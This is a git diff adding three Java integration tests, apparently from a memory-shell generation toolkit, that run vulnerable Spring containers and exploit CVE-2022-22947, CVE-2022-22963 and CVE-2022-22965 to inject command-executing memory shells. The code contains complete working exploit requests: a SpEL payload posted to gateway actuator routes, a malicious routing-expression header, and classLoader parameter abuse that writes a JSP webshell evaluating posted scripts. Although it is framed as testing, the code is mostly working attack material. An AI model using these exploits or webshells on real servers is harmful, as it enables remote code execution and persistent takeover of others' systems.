diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/CVE202222947Test.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/CVE202222947Test.java new file mode 100644 index 00000000..5154ebc7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/CVE202222947Test.java @@ -0,0 +1,129 @@ +package com.reajason.javaweb.integration.memshell.springwebflux; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.MediaType; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import org.apache.commons.lang3.RandomStringUtils; +import org.apache.commons.lang3.tuple.Pair; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; + +import static org.junit.jupiter.api.Assertions.assertNotEquals; + +@Testcontainers +@Slf4j +public class CVE202222947Test { + + @Container + public static final GenericContainer cve202222947 = + new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0") + .withExposedPorts(8080) + .waitingFor(Wait.forHttp("/") + .withStartupTimeout(Duration.ofMinutes(3))); + + @Test + @DisplayName("CVE-2022-22947") + void CVE_2022_22947() { + String url = getUrl(); + String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER; + String shellTool = ShellTool.Command; + Packers packer = Packers.SpELSpringGzip; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate( + urls.getRight(), + Server.SpringWebFlux, + null, + shellType, + shellTool, + Opcodes.V1_8, + shellToolConfig, + packer); + + String content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + injectBySpringCloudGateway(url, content); + ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null); + } + + @SneakyThrows + private void injectBySpringCloudGateway(String url, String expression) { + String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8); + String routeUrl = url + "/actuator/gateway/routes/" + routeId; + try { + String body = """ + { + "id": "%s", + "filters": [{ + "name": "AddResponseHeader", + "args": { + "name": "Result", + "value": "#{%s}" + } + }], + "uri": "http://example.com" + } + """.formatted(routeId, expression); + post(routeUrl, body, MediaType.parse("application/json")); + post(url + "/actuator/gateway/refresh", "", null); + } finally { + deleteQuietly(routeUrl); + postQuietly(url + "/actuator/gateway/refresh"); + } + } + + @SneakyThrows + private static void post(String url, String body, MediaType mediaType) { + Request request = new Request.Builder() + .url(url) + .post(RequestBody.create(body, mediaType)) + .build(); + try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) { + assertNotEquals(404, response.code()); + } + } + + @SneakyThrows + private static void postQuietly(String url) { + Request request = new Request.Builder() + .url(url) + .post(RequestBody.create("", null)) + .build(); + try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) { + } + } + + @SneakyThrows + private static void deleteQuietly(String url) { + Request request = new Request.Builder() + .url(url) + .delete() + .build(); + try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) { + } + } + + private static String getUrl() { + String host = cve202222947.getHost(); + int port = cve202222947.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/CVE202222963Test.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/CVE202222963Test.java new file mode 100644 index 00000000..0478bb43 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/CVE202222963Test.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.integration.memshell.springwebflux; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.MediaType; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import org.apache.commons.lang3.tuple.Pair; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; + +import static org.junit.jupiter.api.Assertions.assertNotEquals; + +@Testcontainers +@Slf4j +public class CVE202222963Test { + + @Container + public static final GenericContainer cve202222963 = + new GenericContainer<>("vulhub/spring-cloud-function:3.2.2") + .withExposedPorts(8080) + .waitingFor(Wait.forHttp("/uppercase") + .forStatusCodeMatching(code -> code == 200 || code == 405) + .withStartupTimeout(Duration.ofMinutes(3))); + + @Test + @DisplayName("CVE-2022-22963") + void CVE_2022_22963() { + String url = getUrl(); + String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER; + String shellTool = ShellTool.Command; + Packers packer = Packers.SpELSpringGzip; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate( + urls.getRight(), + Server.SpringWebFlux, + null, + shellType, + shellTool, + Opcodes.V1_8, + shellToolConfig, + packer); + + String content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + injectBySpringCloudFunction(url, content); + ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null); + } + + @SneakyThrows + private void injectBySpringCloudFunction(String url, String expression) { + Request request = new Request.Builder() + .url(url + "/functionRouter") + .header("spring.cloud.function.routing-expression", expression) + .post(RequestBody.create("test", MediaType.parse("text/plain"))) + .build(); + try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) { + assertNotEquals(404, response.code()); + } + } + + private static String getUrl() { + String host = cve202222963.getHost(); + int port = cve202222963.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/CVE202222965Test.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/CVE202222965Test.java new file mode 100644 index 00000000..63e2bd0e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/CVE202222965Test.java @@ -0,0 +1,165 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.apache.commons.lang3.tuple.Pair; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.Objects; + +import static org.junit.jupiter.api.Assertions.assertNotEquals; + +/** + * @author ReaJason + * @since 2026/7/16 + */ +@Testcontainers +@Slf4j +public class CVE202222965Test { + + private static final OkHttpClient CLIENT = new OkHttpClient(); + private static final String JSP_PATTERN = "%{c2}i { " + + "StringBuilder script = new StringBuilder(); " + + "String line; " + + "java.io.BufferedReader reader = request.getReader(); " + + "while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " + + "javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " + + "if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " + + "Object result = engine.eval(script.toString()); " + + "if (result != null) { out.print(result); } " + + "} %{suffix}i"; + + @Container + public static final GenericContainer cve202222965 = + new GenericContainer<>("vulhub/spring-webmvc:5.3.17") + .withExposedPorts(8080) + .waitingFor(Wait.forHttp("/") + .withStartupTimeout(Duration.ofMinutes(3))); + + @Test + @DisplayName("CVE-2022-22965") + void CVE_2022_22965() { + String url = getUrl(); + String jsEngineJspUrl = writeJsEngineJsp(url); + assertJsEngineJspIsReady(jsEngineJspUrl); + clearAccessLogPattern(url); + + String shellType = ShellType.FILTER; + String shellTool = ShellTool.Command; + Packers packer = Packers.ScriptEngine; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = ShellAssertion.generate( + urls.getRight(), + Server.Tomcat, + null, + shellType, + shellTool, + Opcodes.V11, + shellToolConfig, + packer); + + executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig())); + ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null); + } + + @SneakyThrows + private String writeJsEngineJsp(String url) { + HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder() + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN) + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp") + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT") + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty") + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "") + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false") + .build(); + Request request = new Request.Builder() + .url(exploitUrl) + .header("c2", "<%") + .header("suffix", "%>//") + .build(); + try (Response response = CLIENT.newCall(request).execute()) { + assertNotEquals(404, response.code()); + } + writeJsEngineJspAccessLog(url); + return url + "/memshellparty.jsp"; + } + + @SneakyThrows + private void writeJsEngineJspAccessLog(String url) { + Request request = new Request.Builder() + .url(url) + .header("c2", "<%") + .header("suffix", "%>//") + .build(); + try (Response response = CLIENT.newCall(request).execute()) { + assertNotEquals(404, response.code()); + } + } + + @SneakyThrows + private void assertJsEngineJspIsReady(String jsEngineJspUrl) { + for (int i = 0; i < 10; i++) { + Request request = new Request.Builder() + .url(jsEngineJspUrl) + .header("c2", "<%") + .header("suffix", "%>//") + .post(RequestBody.create("1 + 1", MediaType.parse("text/plain"))) + .build(); + try (Response response = CLIENT.newCall(request).execute()) { + if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) { + return; + } + } + Thread.sleep(500); + } + } + + @SneakyThrows + private void executeScript(String jsEngineJspUrl, String script) { + Request request = new Request.Builder() + .url(jsEngineJspUrl) + .post(RequestBody.create(script, MediaType.parse("text/plain"))) + .build(); + try (Response response = CLIENT.newCall(request).execute()) { + assertNotEquals(404, response.code()); + assertNotEquals(500, response.code(), response.body().string()); + } + } + + @SneakyThrows + private void clearAccessLogPattern(String url) { + HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder() + .addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "") + .build(); + Request request = new Request.Builder() + .url(resetUrl) + .build(); + try (Response response = CLIENT.newCall(request).execute()) { + assertNotEquals(404, response.code()); + } + } + + private static String getUrl() { + String host = cve202222965.getHost(); + int port = cve202222965.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +}